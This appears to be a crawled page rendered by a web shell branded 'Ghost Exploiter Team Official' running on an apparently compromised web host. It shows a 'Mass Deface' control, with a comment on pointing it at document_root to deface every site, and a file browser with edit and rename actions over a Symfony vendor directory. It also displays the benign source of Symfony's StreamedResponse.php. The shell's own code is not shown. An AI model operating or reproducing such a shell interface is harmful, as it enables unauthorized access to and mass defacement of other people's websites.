webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
job-listing
/
vendor
/
symfony
/
http-foundation
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Exception
--
ren
File
--
ren
RateLimiter
--
ren
RequestMatcher
--
ren
Session
--
ren
AcceptHeader.php
3.355KB
edt
ren
AcceptHeaderItem.php
3.188KB
edt
ren
BinaryFileResponse.php
12.334KB
edt
ren
ChainRequestMatcher.php
0.853KB
edt
ren
Cookie.php
11.052KB
edt
ren
ExpressionRequestMatche
...
1.934KB
edt
ren
FileBag.php
3.743KB
edt
ren
HeaderBag.php
6.979KB
edt
ren
HeaderUtils.php
9.12KB
edt
ren
InputBag.php
4.94KB
edt
ren
IpUtils.php
7.447KB
edt
ren
JsonResponse.php
6.638KB
edt
ren
ParameterBag.php
7.387KB
edt
ren
RedirectResponse.php
2.487KB
edt
ren
Request.php
65.57KB
edt
ren
RequestMatcher.php
5.196KB
edt
ren
RequestMatcherInterface
...
0.606KB
edt
ren
RequestStack.php
2.638KB
edt
ren
Response.php
40.176KB
edt
ren
ResponseHeaderBag.php
7.784KB
edt
ren
ServerBag.php
3.897KB
edt
ren
StreamedJsonResponse.php
5.163KB
edt
ren
StreamedResponse.php
2.829KB
edt
ren
UrlHelper.php
3.052KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * StreamedResponse represents a streamed HTTP response. * * A StreamedResponse uses a callback for its content. * * The callback should use the standard PHP functions like echo * to stream the response back to the client. The flush() function * can also be used if needed. * * @see flush() * * @author Fabien Potencier <fabien@symfony.com> */ class StreamedResponse extends Response { protected $callback; protected $streamed; private bool $headersSent; /** * @param int $status The HTTP status code (200 "OK" by default) */ public function __construct(callable $callback = null, int $status = 200, array $headers = []) { parent::__construct(null, $status, $headers); if (null !== $callback) { $this->setCallback($callback); } $this->streamed = false; $this->headersSent = false; } /** * Sets the PHP callback associated with this Response. * * @return $this */ public function setCallback(callable $callback): static { $this->callback = $callback; return $this; } /** * This method only sends the headers once. * * @param null|positive-int $statusCode The status code to use, override the statusCode property if set and not null * * @return $this */ public function sendHeaders(/* int $statusCode = null */): static { if ($this->headersSent) { return $this; } $statusCode = \func_num_args() > 0 ? func_get_arg(0) : null; if ($statusCode < 100 || $statusCode >= 200) { $this->headersSent = true; } return parent::sendHeaders($statusCode); } /** * This method only sends the content once. * * @return $this */ public function sendContent(): static { if ($this->streamed) { return $this; } $this->streamed = true; if (null === $this->callback) { throw new \LogicException('The Response callback must not be null.'); } ($this->callback)(); return $this; } /** * @return $this * * @throws \LogicException when the content is not null */ public function setContent(?string $content): static { if (null !== $content) { throw new \LogicException('The content cannot be set on a StreamedResponse instance.'); } $this->streamed = true; return $this; } public function getContent(): string|false { return false; } }